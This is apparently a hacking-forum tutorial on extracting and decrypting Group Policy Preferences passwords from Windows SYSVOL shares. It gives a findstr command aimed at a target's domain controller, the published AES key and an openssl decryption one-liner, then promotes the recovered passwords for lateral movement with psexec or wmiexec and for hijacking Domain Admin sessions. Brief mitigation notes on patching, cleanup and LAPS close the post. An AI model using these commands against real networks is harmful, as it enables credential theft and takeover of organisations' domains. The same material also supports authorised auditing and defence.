DIAMOND How To Extract & Decrypt GPP Passwords from SYSVOL

[TheMekanic]

[ Hidden Content! ]

1. The Vulnerability: Microsoft’s Public SecretGroup Policy Preferences (GPP) allowed administrators to set local account passwords across a domain. These are stored in XML files within the SYSVOL share. While Microsoft encrypts these using AES-256, they accidentally published the static 32-byte AES key on MSDN years ago.
Since every domain user has read access to SYSVOL, anyone can find these XMLs and decrypt the "cpassword" field instantly.
2. How to: Hunt for CredentialsYou don't need fancy scanners to find these. Use the native

Code:

findstr

command to search the Domain Controller's policies for the encrypted string.
Execute from a Domain-Joined Machine:
DOS

Code:

findstr /S /I cpassword \\<DomainController>\SYSVOL\<Domain>\Policies\*.xml

Replace

Code:

<DomainController>

and

Code:

<Domain>

with your target's info (e.g.,

Code:

dc01.corp.local

).
What you are looking for: Files like

Code:

Groups.xml

,

Code:

Services.xml

, or

Code:

Scheduledtasks.xml

containing:

Code:

cpassword="5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso="

---

3. How to: Decrypt the "cpassword"Once you have the Base64 string, you can decrypt it using the known AES key.
[HIDE] The Decryption Logic [/HIDE]

To see the Python script and the official Microsoft AES key for instant decryption, please Like and Reply to this thread!

Decryption via Terminal (Linux):

Code:

The Static Microsoft AES Key:4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1becho "YOUR_CPASSWORD_HERE" | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

---

4. Impact: Why this is a "Goldmine"

• Local Admin Everywhere: These passwords are often applied to the local "Administrator" account on every workstation and server in the domain.
  
• Lateral Movement: Once you have one Local Admin password, you can use
  
  Code:

  psexec
  or
  
  Code:

  wmiexec
  to jump between machines until you find a Domain Admin session to hijack.
  

5. How to: Mitigate & Detect

• Patching: Ensure KB2962486 is installed to prevent new passwords from being stored.
  
• Cleanup: Run the
  
  Code:

  Get-SettingsWithCPassword.ps1
  script from Microsoft to find and delete old, vulnerable XML files.
  
• Modern Alternative: Move to Windows LAPS (Local Administrator Password Solution) for secure, randomized local passwords.
  

6. Resources

• MITRE ATT&CK: T1552.006 - Unsecured Credentials: Group Policy Preferences
  
• Automated Tool:
  
  Code:

  Get-GPPPassword.ps1
  (Part of the PowerSploit framework).